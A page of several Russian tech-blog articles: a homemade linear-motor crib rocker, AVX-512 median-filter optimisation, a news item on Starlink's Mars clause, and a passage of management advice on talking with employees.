...

суббота, 31 октября 2020 г.

Создание устройства качания детских кроваток с дугообразным полозом

В предыдущих статьях (раз, два) я описывал устройство качания детской кроватки с маятниковым механизмом. Прошло всего каких-то пять лет – и теперь вашему вниманию хочу представить следующую разработку – устройство качания для кроватки с дугообразным полозом.Ах, да! Предвидя вопросы: «а зачем качать?», «а качать-то, наверное, вредно?», «а вот у меня дети никогда в кроватке не качались – и выросли достойными людьми!», «не нужно приучать детей к качанию, в Спарте таких вообще не любили!» и т.д. – отвечаю: это не предмет рассмотрения данной статьи. Если звезды зажигают – сами понимаете. Всегда качали – это в культуре, причем разных народов. Люльки, колыбели, «бешики» — вот это вот всё. И сейчас тоже – кроватки-качалки, кроватки с маятниковым механизмом. Качали, качают и качать будут. И мы с женой – тоже качали, конечно.

А раз так – будем автоматизировать!

Каким должно быть устройство для качания кроватки? Во-первых, бесшумным. По возможности – абсолютно бесшумным. Никакого жужжания, писка, щелчков и тиканья. Во-вторых – надежным. Чем меньше движущихся частей – тем лучше. Чем меньше механических передач – тем лучше. В-третьих – простым в установке. В идеале – прикрутить на пару-тройку саморезов, а то и приклеить на скотч – и готово. В-четвертых – эффективным. Т.е. качать должно хорошо и, если нужно, сильно. В-пятых – кроватка должна иметь возможность раскачивания вручную. Следовательно, желательно отказаться от передач с большим коэффициентом. В-шестых – устройство должно обладать рядом функций – несколько «скоростей», т.е. интенсивностей качания, таймер, датчик плача, датчик движения, дистанционное управление. И в-седьмых – себестоимость устройства не должна быть слишком большой. Иначе – какой смысл, ведь изделие изначально задумывается коммерческим.

Исходя из обозначенных требований – каким может быть принцип действия устройства качания кроватки на дугах? Самое простое – двигатель с передачей, преобразующей вращательное движение в возвратно-поступательное. Шкив с веревочкой или ниткой. Шестерня и зубчатая рейка. Коленвал и шатун. Червячная передача. Винтовая передача (вариант домкрата). И прочее, и прочее.

Но все эти идеи так себе. Двигатель будет шуметь, а передача не даст или будет затруднять качать кроватку вручную. Нужен прямой привод, без передач. И, так как нам не нужно вращательное движение, это должен быть линейный привод, линейный двигатель. Например, цилиндр, из которого будет выдвигаться шток. Тогда цилиндр можно прикрепить к полозу кроватки, а штоком она будет отталкиваться прямо от пола.

В порядке абсурда

В этом месте я начал было задумываться о пневматике или даже гидравлике, но вовремя остановился.

Линейный двигатель, если совсем просто – это двигатель с развернутым в линию статором (неподвижной частью) и соответствующим «ротором» (подвижной частью). Как и обычный вращающийся двигатель, линейный по принципу действия может быть шаговым, синхронным, асинхронным и много ещё каким. По конструкции линейные двигатели также могут быть очень разными – с магнитами, без магнитов; со стальным магнитопроводом или без него; с подвижными катушками или подвижными магнитами и прочее и прочее. Каким же должен быть двигатель для устройства качания кроватки?

И далее был поиск. Я читал материалы, найденные по ключевым словам «voice coil motor/actuator» и по другим похожим, смотрел, что выпускается сейчас разными фирмами – а вдруг что-то готовое подойдет? Потом узнавал цену – нет, не подойдет…

Кстати,

насколько я понял, в России такие изделия вообще не выпускаются. В Европе – пожалуйста, в Китае – тоже много. А у нас – как-то нет (может, конечно, просмотрел, поправьте, если так).

В результате я нашел два очень полезных для меня ресурса – сайт, на котором корейский энтузиаст-самодельщик описывает разработку и создание актуатора и подробный и широкий по охвату труд – магистерскую диссертацию «THE DESIGN OF MOVING MAGNET ACTUATORS FOR LARGE-RANGE FLEXURE-BASED NANOPOSITIONING» by David B. Hiemstra (можно найти в поиске), в которой подробно описано не только создание действующего актуатора, но и содержится огромное количество сведений «вокруг» этого вопроса. Отдельно стоит отметить часть работы, в которой автор делает обзор инноваций в проектировании актуаторов – очень интересно почитать, рекомендую.

Устройство качания медленно возникало в моем воображении, как черно-белая фотография в кювете с проявителем. Детали были еще туманны, но основная идея становилась всё более понятна. Статор, состоящий из двух встречно включенных катушек внутри ферромагнитного ярма, и шток – стержень с надетым на него кольцевым магнитом. Возможно, полюсы – металлические шайбы, надетые на тот же стержень. Вот как-т о так.

Но какие должны быть катушки? Какой длины, диаметра, каким проводом мотать, сколько витков? Какое между ними должно быть расстояние? Какой магнит нужен для штока, нужны ли полюсы или можно без них? Как вообще выбрать всю геометрию изделия, чтобы она была оптимальна? Некоторые соображения общего плана приведены в упомянутой выше работе, но как определить параметры конкретно для моего случая? Неужели нужно будет изготавливать несколько вариантов наугад?

К счастью, нет. Умные люди уже давно придумали моделирование.

Надо сказать, что устройство для качания кроваток с маятниковым механизмом, разработанное ранее, я моделировал в COMSOL Multiphysics. Это впечатляющий продукт, позволяющий моделировать явления из очень разных областей физики, в том числе, конечно, и электромагнитные явления. Моделируются электромагнитные системы там в трехмерном виде, что, с одной стороны, является универсальным подходом, а с другой – требует вычислительных мощностей и времени – как на освоение программы (хотя «порог входа» невысокий, обучающих материалов много), так и непосредственно на вычисления. Процесс моделирования происходит в формате «что-то изменил – запустил расчет – ушел чай пить». Продукт коммерческий, если это важно.

А еще есть FEMM (Finite Element Method Magnetics, Magnetic Analysis). Некоммерческая программа, моделирует в 2D, но этого во многих случаях достаточно. А к ней «добавление»: DoSA-Open_2D (Designer of Solenoid & Actuator) от автора, насколько я понял, того же сайта. «Добавление» специально сделано для простого моделирования актуаторов и соленоидов. Система должна быть осесимметричная, для анализа рисуется ее сечение. Указывается материал элементов, их подвижность или неподвижность, запускается расчет – и через несколько секунд результат готов. Для моего случая программа оказалось идеальной.

Дополнительно

на упомянутом сайте описаны еще несколько систем моделирования, если интересно – почитайте.

Итак, моделирование позволило выбрать некоторые параметры первого прототипа. Что ж, нарисуем, изготовим, посмотрим на результат.

Модель
Модель
 В разрезе
В разрезе

Главное – оно работает, кроватка качается. Значит, принципиально всё правильно. Теперь нужно придать устройству качания приличный товарный вид.

И вот здесь-то и возникли многочисленные вопросы. Как выглядит современное бытовое устройство? Практически всегда это – пластиковый корпус. В некоторых случаях – металлический. Однако для малых серий именно бытовых приборов изготовление пластикового корпуса – предприятие очень дорогое и, соответственно, с очень сомнительной окупаемостью. Нужно как-то выкручиваться из этой реальности, что-то придумывать. Да, было бы здорово найти готовый пластиковый корпус и скомпоновать всё туда. Или сделать металлическое изделие, покрасив его, например, порошковой краской. Или взять какой-нибудь профиль – алюминиевый, пластиковый, отрезать из него корпус, а сверху наклеить наклейку или термоусадку, как на бутылку с газированной водой. Ну допустим.

Но дело же не только в корпусе. Нужно ещё придумать, как сделать конструкцию технологичной. Катушки нужно на что-то намотать, на какой-то каркас. Шток должен двигаться в подшипниках скольжения, которые в свою очередь должны быть как-то закреплены и быть как минимум соосны. Печатная плата также должна быть как-то размещена и закреплена. Ну что ж, попробуем решить эту задачку «в лоб». Алюминиевый каркас, нержавеющий немагнитный шток, стальной корпус – он же ярмо, алюминиевые крышки. В результате пробы получилось вот это:

Модель
Модель
В разрезе
В разрезе

На основе этой модели были сделаны чертежи, которые я разослал на многие производства, как российские, так и китайские, чтобы узнать примерную цену комплекта.

Я подозревал, что получится, наверное, дороговато. Но цена оказалась высокой настолько, что никакого смысла изготавливать такую конструкцию и вовсе не было. Для изготовления требовалось использование токарно-фрезерных станков с ЧПУ, нужны были ручные операции типа нарезания резьбы, разворачивания отверстий развертками и прочее. И каждая такая операция – дорога. Даже при партии в 100 штук. Даже в Китае.

Признаюсь, это был момент уныния и разочарования. Да, так мелкосерийное изделие не сделать. Нужен какой-то принципиально другой подход именно к конструированию. Нужно делать как-то вообще не так, как-то принципиально иначе.

Что в этой конструкции самое дорогое? Детали, выточенные на токарном станке. От них нужно отказаться. Все ручные операции, требующие точного позиционирования – сверление, нарезание резьбы – туда же. А что нам вообще доступно? Лазерная резка. Металла, пластика, фанеры. Но как из плоской вырезанной детали сделать, например, каркас катушки? Или магнитопровод, охватывающий эту катушку?

Есть такое понятие – инсайт. Внезапное озарение, прозрение. Вот так думал-думал над какой-то проблемой, а потом что-то «щелкнуло» – и вдруг понял, как надо. Упало, к примеру, яблоко на голову – и вот уже всё понятно: пора собирать урожай картофеля.

И первый такой инсайт – а не надо каркас. У нас есть самоспекающийся провод, и мы уже неплохо научились с ним работать. Катушки будут бескаркасные. Второе «яблоко» - да и ярмо необязательно цилиндрическим делать, вот у различных реле и соленоидов ярмо из пластин состоит – и ничего. И далее: все детали должны быть – плоскими. Никакой резьбы – используем закладные квадратные шайбы. Несущая конструкция будет из металла и пластика, поликарбоната. А корпус… пусть будет из фанеры.

Нарисуем. Изготовим. Попробуем. И снова. И ещё несколько раз (и, похоже, это не предел). Параллельно с этим «доведём до ума» программную часть и электронику – там ничего особо нового, все идеи взяты из предыдущих устройств качания с некоторой, конечно, корректировкой. И вот он – результат.

Модель
Модель
Разрез
Разрез
На кроватке
На кроватке

И конечно, видео:

Пока изготовлено лишь несколько экземпляров, процесс доводки и доработки ещё идёт. Кроме того, электронная часть взята самая простая – с управлением маленьким пультом-брелоком. С помощью пульта можно запустить и остановить качание, а также выбрать одну из шести возможных мощностей укачивания. Дип-переключателями на корпусе устройства можно выбрать время качания – от 15 минут до бесконечности, всего 8 вариантов установок. Также кроватку можно остановить рукой – просто затормозить и подержать 3-5 секунд. В планах – управление с помощью большого пульта с экраном, и по Wi-Fi – всё как в предыдущих устройствах для кроваток с маятником. Добавятся ещё датчик плача и датчик движения, время качания можно будет также устанавливать дистанционно, а не переключателями на корпусе.

По мотивам разработки мною был получен патент на полезную модель 200048 «Устройство качания мебели для лежания или сидения».

А дальше? Практика – критерий истины. Нужно изготовить небольшую партию изделий и проверить коммерческую привлекательность и перспективность. Но это уже совсем другая история, которая, к тому же, только начинается.

Let's block ads! (Why?)

Быстрая медианная фильтрация с использованием AVX-512

Недавно Боб Стигалл сделал в конференции CppCon 2020 доклад под названием «Adventures in SIMD-thinking”, где он среди прочего рассказывал о своем опыте использования AVX512 для медианной фильтрации с окном 7. Этот доклад вызвал у меня двоякие чувства: с одной стороны, прикольно сделано, и заявлено почти 20-кратное ускорение по сравнению с «тупейшей» реализацией через STL; с другой стороны, за один проход алгоритма из 16 входных семплов у него получалось всего 2 выходных, хотя входных данных хватало на 10, да и некоторые детали реализации вызвали желание попытаться их улучшить. Я подумал-подумал, и придумал идею, потом еще, потом попробовал их «в софте» и понял, что у меня появилось что-то, чем можно поделиться :) Так и получилась эта статья.

Базовая реализация

Кратко опишу, как оно было сделано у Боба (по сути, краткий пересказ соответствующей части его рассказа вместе с его же картинками). Он сделал с использованием AVX512 следующие примитивы (я опущу те из описанных им примитивов, которые напрямую соответствуют единственной операции AVX512):

rotate: сдвиг элементов в регистре AVX-512 по кругу

shift with carry: сдвиг элементов из регистра с замещением элементами из второго регистра

in place shift with carry: как shift with carry, но входные регистры передаются по ссылке и результат сдвига остается в них же

compare with exchange: параллельная сортировка до 8 пар элементов в регистре

Это основной примитив для фильтрации, и самый сложный, поэтому про него стоит сказать чуть подробнее: в perm помещаются индексы 0..15, причем индексы каждой сортируемой пары переставлены местами; в mask помещаются биты 1 в «старшей» позиции каждой сортируемой пары. Идея проста: вычисляются поэлементный минимум и максимум между входными данными и данными, перестановленными в соответствии с perm. В результате для каждой сортируемой пары в vmin получаем меньшее значение из пары в обеих позициях пары, а в vmax соответственно бо́льшее значение из пары. Далее просто объединяем оба результата так, чтобы минимум и максимум оказались на нужных нам позициях.

Все, примитивы кончились, можно делать алгоритм. На каждой итерации цикла:

1) используя shift with carry, загоняем в «рабочий» регистр входные данные так, чтобы край окна фильтрации был в самом «левом» элементе регистра (т.е. окно для выходного элемента 0 будет состоять из входных элементов 0..6, для элемента 1 — из элементов 1..7 и т. д.)

2) переставляем элементы так, чтобы окно для элемента 0 было в одной половине регистра, а окно для элемента 1 — во второй

3) Делаем сортировочную сеть для 7 элементов, параллельно сразу для обоих массивов — это 6 итераций compare and exchange, после которых получаем два сортированных массива в регистре. Остается достать срединные элементы из обоих массивов — это и будут наши отсортированные данные — и положить их в выходной регистр и потом в память.

Если из этого объяснения ничего не понятно, то перед продолжением чтения стоит обратиться к первоисточнику, где Боб Стигалл все объясняет много подробнее (и, наверное, много понятнее)

Шаг оптимизации 0

Прежде чем что-то оптимизировать, надо научиться оценивать правильность и результативность оптимизации. Поэтому сначала надо найти исходные коды того, что сделал Боб, и положить их в бенчмарк (я выбрал размер данных, чтобы они убирались в кеш L2). Заодно добавлю проверку того, что разные подходы к фильтрации возвращают одинаковые результаты на одинаковых данных. И надо найти машину с поддержкой AVX-512…

Шаг оптимизации 1

Первое, что бросается в глаза в алгоритме — это сортировка массивов. Независимо сортируются два массива по 7 элементов; но у них 6 общих элементов и от результата сортировки нужен единственный центральный элемент!

Может быть, будет быстрее один раз отсортировать один массив из 6 общих элементов r1-r6 и сделать две сортировки вставками, для r0 и r7? Пусть у нас есть отсортированный массив S[0..5], и элемент X, который надо в него вставить, но нам интересно только значение S[3] после вставки.

  • Если X >= S[3], то S[3] остается на своем месте, и нам нужно его значение

  • Если X <= S[2], то S[2] сдвигается на место S[3], и нам нужно значение S[2]

  • Если S[2] < X < S[3], то X встает на место S[3], сдвигая его выше, и нам нужно значение X. Получается, что нам нужно clamp(X, S[2], S[3]) => min(max(X, S[2]), S[3])!

Получаем новый алгоритм:

  • собрать «края» у 4 7-элементных массивов (элементы 0, 7, 2, 9) – это элементы X для 4 результатов

  • развести 6-элементные массивы 1..6 и 3..8 по отдельным линиям (пусть будут 0..7 и 8..15, как и было)

  • отсортировать оба 6-элементных массива

  • сделать clamp элементами 2 и 3 первого массива на элементы X[0] и X[1], и элементами 2 и 3 второго массива на элементы X[2] и X[3]

По прикидкам должно получиться примерно 2x ускорение — число операций сортировки в расчете на один выходной элемент уменьшается более чем в 2 раза (поскольку сортировочная сеть для 6 элементов требует 5 итераций, а для 7 элементов — 6), но clamp приблизительно соответствует одной итерации сортировочной сети. Проверяем в бенчмарке: 1,86x раз. Неплохо. Что еще можно ускорить?

Шаг 2

На «концевые» элементы X больше не смотрим. Обратим внимание на 6-элементные массивы; данных хватает на 5 таких массивов, но используется только 2 (поскольку для сортировки 3 уже не хватает места в регистре). Обратим внимание на первую итерацию сортировки каждого из массивов — это попарная сортировка: S[0] <=> S[1], S[2] <=> S[3], S[4] <=> S[5]

Массивы же смещены друг относительно друга на 2, т. е. если мы сделаем попарную сортировку во всем регистре еще до того, как разнесем массивы по половинам регистра, то выполним первый шаг сортировки во всех массивах сразу!

Получается простая оптимизация — разворачиваем внутренний цикл в 2 раза и делаем первую итерацию один раз, а уже потом можно по очереди брать и сортировать по 2 массива. Делаем, проверяем: 1.06x. Мелочь, а приятно.

Шаг 3

Можно было бы что-то выжать из последней итерации сортировки, но мы пойдем другим путем и попробуем повторить шаг 1, но уже с 6-элементными массивами.

Как видим, массивы пересекаются 4 элементами (зеленые области на картинке), а нам интересны только два элемента из 6; может быть, можно отсортировать эти 4-элементные массивы и потом вставить два оставшихся элемента?

От оптимизации с шага 2 можно не отказываться, поскольку у 4-элементной сортировочной сети первый шаг точно такой же. Тогда у нас получается для каждого 6-элементного массива: 2-элементный отсортированный массив Y и 4-элементный сортированный массив S, и нам интересны элементы 2 и 3 после слияния этих двух массивов (назовем конечный массив Z). Заметим, что min(Y[0], S[0]) => Z[0], который нам неинтересен; max(Y[0], S[0]) окажется одним из Z[1]..Z[5] – он интересен. Аналогично max(Y[1], S[3]) не интересен, а интересен только min(Y[1], S[3]).

У нас получается 4-элементный массив из S[1], S[2], и двух результатов min/max. Его нужно снова отсортировать, но зато мы можем сортировать все 4 таких массива вместе, и потом взять из каждого элементы 1 и 2 — это будут элементы 2 и 3 из оригинальных 6-элементного массива. Также заметим, что последний шаг у «первой» 4-элементной сортировочной сети сортирует между собой элементы S[1] и S[2], а нам их порядок не важен — все равно нужно пересортировать. Поэтому его можно смело выбросить, и от первой сети остается всего 2 итерации, одна из которых заодно сортирует наши массивы Y.

Поэтому вырисовывается такой алгоритм:

  • сортируем попарно r1-r2 и т. д.

  • сохраняем результат в отдельный регистр — это наши массивы Y, соответственно r1-2, r5-6, r7-8, r11-12; через permute сразу сформируем заготовку под 4 массива для второй сортировки, перенеся Y в r0-1, r4-5 и т. д.

  • делаем вторую (и последнюю) итерацию «первой» сортировочной сети; получаем в r3-r6 и r7-r10 частично сортированные массивы

  • вычисляем max и min соответственно для каждой пары Y[0]/S[0], Y[1]/S[3] и сохраняем результат обратно в регистр с заготовкой под массивы

  • делаем mask_permute для регистров Y и S, перенося S[1] и S[2] на их законные места и получая массивы, которые предстоит отсортировать

  • сортируем 4 массива параллельно

  • далее берем из каждого элементы 1 и 2, и через min/max с элементами X получаем 8 выходных результатов

Выглядит сложно, но должно быть быстрее, чем две развернутых итерации, получившиеся у нас в шаге 2. Пробуем — в 1.64x раза быстрее, чем шаг 2, и в 3 с лишним раза быстрее, чем оригинальная реализация.

Идеи по улучшению алгоритма на этом кончились; можно еще подобрать крошки в рамках имеющегося (точно можно избавиться от одного-двух permute; вероятно, еще что-то найдется), но этого я пока не делал.

Выводы

Издевательства над красивым алгоритмом иногда могут сделать его уродливым, но более быстрым :)

Повторю результаты benchmark:

  • на 512 кБ данных: ускорение примерно в 3.1-3.2 раза; в 7.3 раза медленнее, чем простой memcpy через регистр avx-512

  • на 50 МБ данных: ускорение в 2.8-2.9 раза; в 1.8 раза медленнее, чем memcpy (!)

Тормознутость основной памяти современных компьютеров не устает меня поражать.

Применимость для окон других размеров

Можно ли похожим образом ускорить медианный фильтр с окном 5? Думаю, что да (disclaimer: не проверялось даже на бумажке — исключительно умозрительные измышления).

В 16-элементном регистре хранится достаточно данных для вычисления 12 результатов.

  • Оригинальный алгоритм Боба - можно сделать вычисление 3 элементов (вообще неудобно для цикла…)

  • идея из шага 1 замечательно работает, и мы получаем одновременную обработку 4 (из 6 возможных) 4-элементных массивов — одновременно ускоряя сортировку, т. к. сортировочная сеть для 4 элементов короче, чем для 5 элементов; получаем 8 результатов.

  • шаг 2 сделать можно, но не имеет смысла — на вторую итерацию из имеющихся данных остается всего 2 массива; вероятно, будет выгоднее вместо их обработки сразу брать больше данных и делать следующую итерацию с начала.

  • шаг 3 сделать можно, и скорее всего будет иметь смысл. Первая сортировка вырождается в ничто, вторая — в единственную итерацию попарной сортировки, и в результате получаем все 12 результатов за один шаг цикла. Остается придумать, что делать с таким «некруглым» количеством — то ли вдвое раскрутить цикл и сохранять сразу по 24 значения, то ли писать в память по 12 результатов за шаг.

А что будет с окном 9? В регистре хранится достаточно данных для вычисления 8 результатов.

  • оригинальный алгоритм — всего один результат за шаг цикла

  • шаг 1 — в регистр убираются 2 8-элементных массива из 4 возможных, они нам дают 4 результата за шаг цикла (также уменьшаем длину сортировочной сети с 7 до 6 итераций)

  • шаг 2 — применим, но даст какие-то копейки

  • шаг 3 — сделать в принципе можно, но бессмысленно — 6-элементных массивов в регистр убирается всего 2, а дважды сортировать 6-элементный массив (даже если удастся сэкономить на том, что не нужны полностью сортированные массивы) наверняка обойдется дороже, чем один раз отсортировать 8-элементный.

Послесловие

Надеюсь, кому-нибудь эта статья оказалось интересной или полезной. Если хочется покопаться в этом самостоятельно, я выложил код всех шагов на https://github.com/tea/avx-median/. Писалось «на коленке», поэтому комментариев нет, названия взяты с потолка и вообще ужас-ужас. Описания алгоритмов из статьи придут на помощь желающим разобраться в том, что же там такое сделано.

Если у вас после прочтения возникли какие-либо идеи по поводу того, как еще можно оптимизировать медианную фильтрацию — буду рад их услышать. Благодарю за внимание.

Let's block ads! (Why?)

Илон Маск: «Марс — свободная планета, там не действуют законы Земли»


Глава SpaceX на днях провозгласил независимость Марса от Земли. Сделал он это, разместив соответствующие пункты в пользовательском соглашении Starlink, сети и сервисе спутникового интернета. Сейчас сервис перешел в фазу тестирования и первые пользователи (скорее всего из штата Техас, США) получают возможность подключиться к спутниковому глобальному интернету.

Все это прописано в подразделе «Governing Laws», где рассказывается о том, что SpaceX не будет подчиняться международным законам вне Земли. Вместо этого компания установит принципы самоуправления и станет использовать их во благо человечества.


Что касается Марса, то Илон Маск провозглашает его «свободной планетой», на которой будут действовать собственные законы. Если кто-то не согласен с условиями использования сервиса, то не может и использовать глобальный спутниковый интернет. Первыми ссылкой на условия использования Starlink распространили пользователи группы WholeMarsBlog.

В разделе условий говорится, что на Земле и Луне компания подчиняется земным законам, а вот на Марсе — иное дело, здесь будут «установлены принципы самоуправления, направленные на процветание будущей колонии». Этот пункт начнет работать только тогда, когда на Марсе появится колония.

Ранее Маск неоднократно заявлял, что собирается построить на Марсе поселение, которое не будет зависеть от снабжения ресурсами от Земли. Это будет целиком и полностью автономное поселение — и сейчас стало ясно, что под «автономностью» глава SpaceX имеет в виду не только еду, воду, одежду, технику, горючее, но и законодательство.


Конечно, SpaceX должна решить множество проблем, прежде, чем создание колонии будет возможным. Ведь туда необходимо доставить миллионы тонн оборудования и рерсурсов, для чего потребуется задействовать тысячи ракет Starship, которые сейчас лишь тестируются.

«Если мы построим столько же кораблей Starship, сколько у нас ракет Falcon — то есть около сотни, — и каждый будет доставлять на орбиту 100 тонн груза, то пропускная способность достигнет 10 млн тонн полезной нагрузки в год», — написал глава SpaceX.

Зачем Маску Марс? Для того, чтобы у человечества был «бэкап», который можно использовать в случае появления глобальных проблем, которые приведут к вымиранию человечества. Речь идет о третьей мировой войне, инфекциях или чему-то подобном. Маск неоднократно заявлял, что без основания колонии на другой планете Солнечной системы человечество обречено.


Все, чем управляет Маск, направлено на единственную цель — накопление ресурсов для получения колонии на Марсе. Колония даст возможность жителям Марса находиться вне зоны влияния факторов, которые важны для человека на Земле.

Насколько можно видеть, пока что слова Маска не расходятся с делом — он действительно пытается достичь Марса, разрабатывая ракеты носители нового типа, капсулы для команды, космическое оборудование и т.п.

Let's block ads! (Why?)

[Из песочницы] Как говорить с сотрудниками. 7 аспектов, о которых забывают

Говорить с сотрудниками — это, на самом деле, не о «говорить». И не о методе «активного слушания». Я вообще не люблю все эти искусственные «техники». И речь здесь будет идти не о техниках привлечения внимания, махания руками и положенной длительности зрительного контакта. Разговор с сотрудником — это намного шире, чем просто поговорить. И если на заре своей карьеры менеджера я это понимал слабо, то после более чем 10 лет управления осознал, что некоторые банальности совсем таковыми не являются.

image
И тогда пришло время остановиться и задуматься — какие ошибки люди допускают чаще всего. © Unsplash

Немного обо мне
Меня зовут Александр, и я руковожу уже больше 10 лет Департаментом Исследований, Разработки и Инноваций компании Qulix Systems.

Прошёл путь от тестировщика через архитектора и менеджера до руководителя, пусть небольшого, но горячо любимого и созданного с нуля, подразделения, в котором работает порядка 100 человек.

Слишком люблю обмениваться знаниями, потому, после организации различных обучающих активностей внутри Компании, захотелось пойти дальше и обсудить свои взгляды и идеи с более широкой аудиторией (если позволят модераторы).

Это моя первая статья — потому буду крайне рад комментариям и рекомендациям. Спасибо!


1. Цель


Первое, что тебе стоит понять, это то, что у разговора всегда должна быть цель.

Целью может быть улучшение в дисциплине, выработка каких-то мер по изменению производительности, получение информации для дальнейшего анализа и т.д. Кстати, целью может быть даже улучшение отношений с сотрудником. Но цель быть должна.

Если цель подразумевала какие-то действия со стороны сотрудника, то в результате разговора он должен понимать, что надо изменить, и у него должно появиться желание это делать.

Ещё раз повторю: не ты должен думать, что сотрудник понимает, и не у тебя должно быть желание что-то поменять. Ты должен убедиться, что всё это есть у сотрудника.

А то часто получается так, что начальник пришёл, сказал, ушёл. Партия сказала «надо», комсомол ответил «есть». Как понял сотрудник? Что он будет делать? Не превратит ли он всё в итальянскую забастовку из-за внутреннего несогласия и отсутствия желания?

image

Итальянская забастовка

Итальянская забастовка — метод выражения протеста, когда люди делают всё в точности по инструкции из-за чего страдает реальное качество работы, т.к. инструкцией предусмотреть всё невозможно, и работа без включённой головы никогда ни к чему хорошему не приводит. А придраться не к чему.


2. Тема


Готовиться к разговору надо обязательно. Ты должен заранее продумать, как будет вестись беседа. Хотя бы в общих чертах. А в сложных случаях — и проговорить беседу. В процессе подготовки, когда ты будешь обыгрывать сложные ситуации может оказаться, что тебе нужна дополнительная информация, и ты её добудешь до разговора и не будешь выглядеть глупо в глазах своего сотрудника.

Частая ошибка подготовки — неизвестная тема.

image
Нравится быть беспомощным и не знать, что с тобой сделают?

Неизвестная тема — это зачастую ещё и метод манипуляции и психологического влияния, призванный лишить собеседника аргументов и базиса в разговоре. Мне повезло — у меня шикарная команда, которая очень открыта и сама не любит манипуляций. Но бывают разные ситуации.

Ко мне раньше любили обращаться со словами: «Саша, надо поговорить». Я вырывался из графика, соглашался переговорить, а оказывалось, что человеку надо обсудить, что-то по практике, которая будет через несколько месяцев. Тема, к которой я совершенно не имел отношения. Зачем мы потратили время? К слову, ту ситуацию удалось обернуть на пользу — я понял, что есть пробел с одном из процессов, но общий смысл, думаю, понятен.

Второй вариант, когда так говорят, а потом начинают какой-то сложный разговор, который на самом деле требует от тебя поднять старые договорённости с этим человеком (которые ты вроде как должны всегда помнить, ведь этот человек у тебя один, да? по его мнению — да). А тебя уже застали врасплох. И если манипулятор грамотный, то неизвестно куда тебя заведёт разговор, и ты можешь прослыть или не умеющим принимать решения, или принять неправильные решения, сотрудник может вообще захотеть просто увидеть твою реакцию на его слова и сделать какие-то далекоидущие выводы.

К счастью, эти варианты развития событий нечастые, но бывает и так: сотруднику действительно надо было поговорить с тобой. Но, т.к. ты не знал темы, то разговор затянулся, потому пришлось прерываться, или понадобилась дополнительная информация, которую ты бы мог запросить или найти, если бы знал, о чём пойдёт речь, заранее.

Узнавай тему. Просто спроси: «Скажи, о чём хочешь поговорить, чтобы я понимал, что потребуется для разговора?» Не отмахивайся от сотрудника со словами: «А что за тема, а то у меня нет на тебя времени?». Ты — руководитель. Ты доступен и открыт. Ты — лидер, а не человек, сидящий где-то высоко, недоступный даже тем, с кем ты работаешь. Эра больших недоступных шишек проходит. Чтобы успешно управлять, надо успешно взаимодействовать, договариваться и быть открытым.

Кстати, были у меня сотрудники, которые любили назвать одну тему, а потом приходили с другой. Причём по их нетерпению и в целом по поведению видно было, что они собирались поднять именно вторую. Это тоже манипуляция. Если тебе неудобно сейчас обсуждать новую подсунутую тему, не бойся говорить: «Извини, не озвучивал ты эту тему, потому не готов о ней говорить. Давай обсудим чуть попозже». После одного-двух раз сотрудники перестают умышленно так делать.

3. Факты


Не брезгуй фактами, статистикой, документами и т.д. В некоторых разговорах (например, о дисциплине или плохой работе) без этого ты ничего не добьёшься.

Человек плохо работает? На основании чего ты так считаешь? Как ты измерял? Когда это изменилось?

Причём ответ «Вася считает, что Петя плохо работает» не принимается. Мнение третьих лиц фактами не считается. Особенно, если третье лицо — недостаточный авторитет в глазах сотрудника.

4. Установки


Если ты идёшь на разговор с мыслями «Он не изменится, он всегда такой был», «Он неуправляемый и недисциплинированный», «Я уже всё решил» — не иди на эту встречу. Зачем вам тратить время?

Ты должен чётко понимать: ты можешь ошибаться, ты можешь чего-то не знать, у человека может быть причина для такого поведения, о которой ты не знаешь. Ты должны осознать, что вы вместе способны решить проблему.

5. Искренность


Мне порой сложно поздравлять людей, с которыми я не в ладах или которыми я не очень доволен, а это иногда необходимо. По поздравлениям видно моё отношение к людям. Потому, во-первых, я стараюсь не поздравлять людей, которыми я недоволен, а во-вторых, я всегда стараюсь найти что-то хорошее. И тогда поздравления получаются легко и просто.

Каким бы ты актёром ни был, а неискренность чувствуется. И отталкивает. Не играй.

Особо тут стоит сказать об увольнении. Потому что это очень связано с темой искренности.

Увольняй вовремя. При увольнении всегда беседуй (модное нынче словосочетание exit interview, о котором бы тоже хотелось написать статью). Во время беседы благодари человека за то, что он сделал для компании и для тебя. Увольняя, ты получаешь человека вовне твоей компании, который будет рассказывать другим о твоей компании. Что ты хочешь, чтобы он о ней рассказал?

image
Ты можешь быть таким вот злым гномом, но тогда не удивляйся, что вам трудно набирать персонал и ваша реферральная программа не работает. © Unsplash

Если ты будешь затягивать с увольнением, то ты не сможешь уже искренне поблагодарить человека. Если ты не можешь искренне поблагодарить человека хоть за что-то (он же работал у вас какое-то время, значит успел сделать хоть что-то хорошее), значит ты перетянул с увольнением. Это индикатор! Значит сотрудник уже успел причинить вам вреда больше, чем пользы. И твоя искренность для тебя должна быть показателем своевременности.

Кстати, не забывай следить за своими словами. Во многих беседах, то, какие ты слова и как говоришь, порой важнее всей остальной подготовки.

Иногда перед очень важными встречами (например, с руководством) я даже проговариваю диалоги, как перед переговорами, подбираю слова, аргументы, интонации. Это помогает потом в разговоре быстро ориентироваться, реагировать на реплики.

Сравни: «Слышал, твоя бабушка умерла. Ну что ж, сочувствую. А теперь давай обсудим проблемы, связанные с твоей работой» и «Я понимаю, какое у тебя сейчас серьёзное нервное и психологическое потрясение из-за смерти близкого человека. Наверное, тебе сейчас трудно сконцентрироваться и потому ты можешь допускаться какие-то ошибки. Давай обсудим, что мы здесь можем сделать». Для кого-то это рассусоливание, а для кого-то ты после этого станешь лучшим менеджером в мире.

Но помни: искренне!

6. Отвлечения


Один из самых больных для меня вопросов. Одна из самых больших моих проблем в разговоре.
Мы все — супермэны. Мы все умеем делать несколько дел одновременно. Ну, по крайней мере, многие на это претендуют.

Говорить с человеком и при этом щёлкнуть на пришедшем письме? Слушать и быстренько что-то ответить в чатике? Не вопрос. Знаем, умеем, практикуем. Увы.

Как-то пришла ко мне одна коллега (назовём её Лена) с проблемой. Начали говорить, параллельно у меня было запущено несколько чатов, где я спокойно читал время от времени и отвечал, или не отвечал. Но очень цепко и чётко держал нить разговора с Леной. И вот в какой-то момент я, прочитав очередное сообщение, задумался. На 5-10 секунд, не больше! И в этот же момент Лена мне сказала нечто, или даже спросила. Я не знаю. Потому что я прослушал.

Она вздохнула и тихо сказала: «Саша, это так не работает».

